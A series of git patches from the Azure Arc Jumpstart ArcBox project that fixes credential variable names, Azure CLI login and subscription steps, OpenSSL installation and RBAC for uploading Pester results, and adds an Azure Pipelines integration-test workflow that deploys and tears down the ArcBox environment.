'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" - New-AzResourceGroupDeployment -Name ArcBox -ResourceGroupName $(ResourceGroupName) -TemplateFile scenarios/arcbox/main.bicep -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterFile "azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json" ` + -TemplateParameterObject @{ + spnClientId = $env:spnClientId + spnClientSecret = $env:spnClientId + spnTenantId = $env:spnClientId + windowsAdminPassword = $env:spnClientId + } + - task: AzurePowerShell@5 displayName: 'Upload Pester test-results from ArcBox VM' From 47e60a92ed802136053066f0658dac026c7c128c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:51:44 +0000 Subject: [PATCH 077/506] Bugfix - variable names Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/arcbox_itpro.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml index cc9d1f562a..cb51da87bc 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -57,9 +57,9 @@ stages: -TemplateParameterFile "azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json" ` -TemplateParameterObject @{ spnClientId = $env:spnClientId - spnClientSecret = $env:spnClientId - spnTenantId = $env:spnClientId - windowsAdminPassword = $env:spnClientId + spnClientSecret = $env:spnClientSecret + spnTenantId = $env:spnTenantId + windowsAdminPassword = $env:windowsAdminPassword } From 39840dac01c739773c8c70e1086d90616c3df52a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:46:53 +0200 Subject: [PATCH 078/506] Update Azure CLI commands and remove unused code --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 1 - azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 2 files changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1eb46b06b0..807b2b9b48 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -33,7 +33,6 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index ccfa513ce9..2af78f7395 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,7 +78,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) az -v echo "" From 7bf04d301678b3f3a697da9387437a6ab20c5bde Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:47:53 +0200 Subject: [PATCH 079/506] Remove unnecessary blank line and print Azure CLI version --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2af78f7395..2961029e8f 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,7 +78,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID - az -v echo "" From bf841b0a1cfc12709940f000817217c63c864a2d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:48:39 +0200 Subject: [PATCH 080/506] Update Azure CLI versions and set subscription ID --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 5 +++-- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 ++- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 7e8e6fb0f0..1eb46b06b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -32,7 +32,8 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId +az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -194,7 +195,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.26.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 27832a807d..3ec915d1ac 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -77,7 +77,8 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) az -v echo "" From 35437c1eb0bb24ec0bf89666d069f4fcf1eaece6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 11:52:02 +0000 Subject: [PATCH 081/506] Adding Storage Blob Data Contributor role assignment to SPN Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Send-PesterResult.ps1 | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index db5793c2a9..26de6dc410 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -6,6 +6,14 @@ $timeout = New-TimeSpan -Minutes 180 $endTime = (Get-Date).Add($timeout) $logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" +Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" + +$ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup + +$null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id + Write-Output "Waiting for PowerShell transcript end in $logFilePath" do { @@ -34,8 +42,6 @@ $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnC $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup - $ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount New-AzStorageContainer -Name testresults -Context $ctx -Permission Off From b1a4c78dd54754803515d261d364ee7ab181266c Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:55:43 +0200 Subject: [PATCH 082/506] Add OpenSSL to PATH environment variable --- azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 | 7 +++++++ azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 6 +++--- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index d652cd1328..2e2eb57d7a 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -16,6 +16,13 @@ $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + + openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index d1bb0659d1..748107de36 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -45,11 +45,11 @@ properties: id: Microsoft.AzureDataStudio source: winget - resource: Microsoft.WinGet.DSC/WinGetPackage - id: ShiningLight.OpenSSL.Light + id: FireDaemon.OpenSSL directives: - description: Install OpenSSL light + description: Install OpenSSL settings: - id: ShiningLight.OpenSSL.Light + id: FireDaemon.OpenSSL source: winget configurationVersion: 0.2.0 \ No newline at end of file From 3232399b31bdb5f337e9435d608a906747aa5655 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 12:32:22 +0000 Subject: [PATCH 083/506] Updated source URI for Set-AzVMRunCommand Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Wait-ArcBoxDeployment.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 index d3e7b7ccb0..16f06e001b 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -6,7 +6,7 @@ param( Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" $Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location -Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://gist.githubusercontent.com/janegilring/0df14b6b45cde9ebc3060aad995ce173/raw/337a867488b532ccfaece62b5c805d3a31d44c2b/Send-PesterResult.ps1" -AsyncExecution +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/microsoft/azure_arc/arcbox_3.0/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution do { $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView From fdc7f54b18f6794fce82b96504ea93a539958511 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 15:02:16 +0200 Subject: [PATCH 084/506] Fix Azure subscription issue --- azure_jumpstart_arcbox/artifacts/installCAPI.sh | 2 +- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index 90b91df034..7b06c2a37a 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,7 +53,7 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) - +sudo -u $adminUsername az account set -s $subscriptionId export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v echo "" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 3ec915d1ac..2ef7db3bcb 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -79,6 +79,7 @@ echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId az -v echo "" From 9dfce9262b82bd2b49c19ea77268be1682114080 Mon Sep 17 00:00:00 2001 From: Francisco Cabrera Date: Tue, 23 Jan 2024 11:13:25 -0300 Subject: [PATCH 085/506] Set up CI with Azure Pipelines (#2360) * Set up CI with Azure Pipelines [skip ci] * Update azure-pipelines.yml for Azure Pipelines * Change variable group name * Update variable * Added missing backticks * Updated syntax for parameter object * Added all parameters to TemplateParameterObject * Bugfix - remove unneeded string * Added missing parameter windowsAdminUsername * Syntax for variable references updated * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines --------- Co-authored-by: Jan Egil Ring --- azure-pipelines.yml | 120 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 azure-pipelines.yml diff --git a/azure-pipelines.yml b/azure-pipelines.yml new file mode 100644 index 0000000000..8ed2fde285 --- /dev/null +++ b/azure-pipelines.yml @@ -0,0 +1,120 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' +- name: AzureSubscription + displayName: 'Azure Subscription' + type: string + default: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + +variables: +- group: 'integration-tests' +- name: ResourceGroupName + value: ${{parameters.ResourceGroupName}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + #name: arc-jumpstart-container-apps-pool + vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterObject @{ ` + spnClientId = "$(spnClientId)" ; ` + spnClientSecret = "$(spnClientSecret)" ; ` + spnTenantId = "$(spnTenantId)" ; ` + windowsAdminUsername = "arcdemo" ; ` + windowsAdminPassword = "$(windowsAdminPassword)" ; ` + sshRSAPublicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" ; ` + logAnalyticsWorkspaceName = "arcbox-la" ; ` + flavor = "ITPro" ; ` + deployBastion = $false ; ` + githubAccount = "microsoft" ; ` + githubBranch = "arcbox_3.0" ; ` + vmAutologon = $true ; ` + rdpPort = "3389" ` + } + + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force -WhatIf \ No newline at end of file From 62bcfc0c788d35dbd0aee4f1912c0da51a12ff3e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 14:17:05 +0000 Subject: [PATCH 086/506] Moved Connect-AzAccount to the top Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Send-PesterResult.ps1 | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 26de6dc410..25abf5516b 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -8,6 +8,11 @@ $logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" +$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force +$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + +$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup @@ -37,10 +42,6 @@ do { Start-Sleep -Seconds 60 } while ((Get-Date) -lt $endTime) -$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force -$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - -$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process $ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount From e2a13386b84ac09ff41cc0f3e3e2aaafca198b31 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 14:23:07 +0000 Subject: [PATCH 087/506] Added logic to wait for Azure CLI to be installed Signed-off-by: Jan Egil Ring --- .../scripts/Send-PesterResult.ps1 | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 25abf5516b..0e67478cf8 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -13,6 +13,45 @@ $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnC $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process +Write-Output "Wait for Azure CLI to become available (installed by WinGet)" + +# Starting time +$startTime = Get-Date + +# Duration to wait (60 minutes) +$duration = New-TimeSpan -Minutes 60 + +do { + # Check if the path exists + $exists = Test-Path "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin\az.cmd" + + # Break if the path exists + if ($exists) { + Write-Host "File found." + break + } + + # Wait for a short period before rechecking to avoid constant CPU usage + Start-Sleep -Seconds 30 + +} while ((Get-Date) -lt $startTime.Add($duration)) + +if (-not $exists) { + Write-Host "File not found within the 60-minute time frame." +} + +# Get the current path +$currentPath = $env:Path + +# Path to be added +$newPath = "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin" + +# Add the new path to the current session's Path environment variable +$env:Path = $currentPath + ";" + $newPath + +Write-Output "Az CLI Login" +az login --service-principal --username $env:spnClientId --password=$env:spnClientSecret --tenant $env:spnTenantId + $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup From c2070d0a70e312dae8976bf5018013eead8f3ae3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 15:59:31 +0000 Subject: [PATCH 088/506] Set context for Azure CLI for cases where SPN have access to multiple subscriptions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index d94e85b619..39c5ccb8e0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -136,6 +136,7 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $spnClientId --password=$spnClientSecret --tenant $spnTenantId + az account set -s $env:subscriptionId Write-Header "Az PowerShell Login" $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force From 079579a0b1ec88992a9ca4f10ecdc625a4bf915c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 15:59:46 +0000 Subject: [PATCH 089/506] Wait for eventual consistencty after RBAC assignment Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/scripts/Send-PesterResult.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 0e67478cf8..17281f6e85 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -51,6 +51,7 @@ $env:Path = $currentPath + ";" + $newPath Write-Output "Az CLI Login" az login --service-principal --username $env:spnClientId --password=$env:spnClientSecret --tenant $env:spnTenantId +az account set -s $env:subscriptionId $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json @@ -58,6 +59,9 @@ $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup $null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id +Write-Output "Wait for eventual consistencty after RBAC assignment" +Start-Sleep 120 + Write-Output "Waiting for PowerShell transcript end in $logFilePath" do { From d3e75ef52568300fb4501dcf569590f6e9696252 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 19:19:31 +0100 Subject: [PATCH 090/506] Testing arc-jumpstart-container-apps-pool --- azure-pipelines.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 8ed2fde285..ec5948e941 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -27,8 +27,8 @@ stages: - job: Deploy timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown pool: - #name: arc-jumpstart-container-apps-pool - vmImage: 'ubuntu-latest' + name: arc-jumpstart-container-apps-pool + #vmImage: 'ubuntu-latest' continueOnError: 'true' steps: From b2aa4f3b40c3fc5a58c8796393745b6d4e8a09e0 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:19:40 +0100 Subject: [PATCH 091/506] Add githubAccount and githubBranch parameters to azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index ec5948e941..92077c1d42 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -15,11 +15,23 @@ parameters: displayName: 'Azure Subscription' type: string default: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' +- name: githubAccount + displayName: 'githubAccount' + type: string + default: 'microsoft' +- name: githubBranch + displayName: 'githubBranch' + type: string + default: 'arcbox_3.0' variables: - group: 'integration-tests' - name: ResourceGroupName value: ${{parameters.ResourceGroupName}} +- name: githubAccount + value: ${{parameters.githubAccount}} +- name: githubBranch + value: ${{parameters.githubBranch}} stages: - stage: 'ArcBox_deployment' @@ -56,6 +68,14 @@ 